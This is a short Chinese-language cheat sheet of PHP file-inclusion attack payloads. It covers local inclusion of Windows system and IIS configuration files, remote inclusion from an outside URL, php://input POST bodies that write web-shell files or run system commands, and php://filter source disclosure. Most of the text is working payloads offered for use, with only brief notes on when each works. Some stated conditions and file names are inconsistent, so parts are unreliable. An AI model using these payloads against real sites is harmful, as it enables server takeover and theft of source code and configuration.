文件包含漏洞常用命令

主要包含形式

1.包含本地文件

payload:

?page=C:\oneword

?file=C:\boot.ini(Windows查看系统版本)

?file=C:\WindowsSystem32inetsrvMetaBase.xml(Windows查看IIS配置文件)

2.包含远程文件

payload:

?url=http://www.bbb.com/2.txt

?url=[http|https|ftp]://www.bbb.com/2.txt(可以有三种,http、https、ftp)

3.伪协议

1) php://input

说明:

用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:

php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

用例1 增加一句话:

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

用例2 增加文件:

URL:
http://localhost/include/file.php?file=php://input
POST:
<?php fputs(fopen("oneword.php","w"),"<?php phpinfo();?>") ?>
这里fopen参数为w,可新建一个文件。

用例3 执行系统命令:

URL:
http://localhost/include/file.php?file=php://input
POST:
<?php system('ipconfig');?>


2)data://

说明:

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

条件:

allow_url_include=On
php > 5.2


3)php://filter

说明:

这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

?page=php://filter/read=convert.base64-encode/resource=php.ini

访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

payload:

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=file.php

资料来源:
https://www.anquanke.com/post/id/86123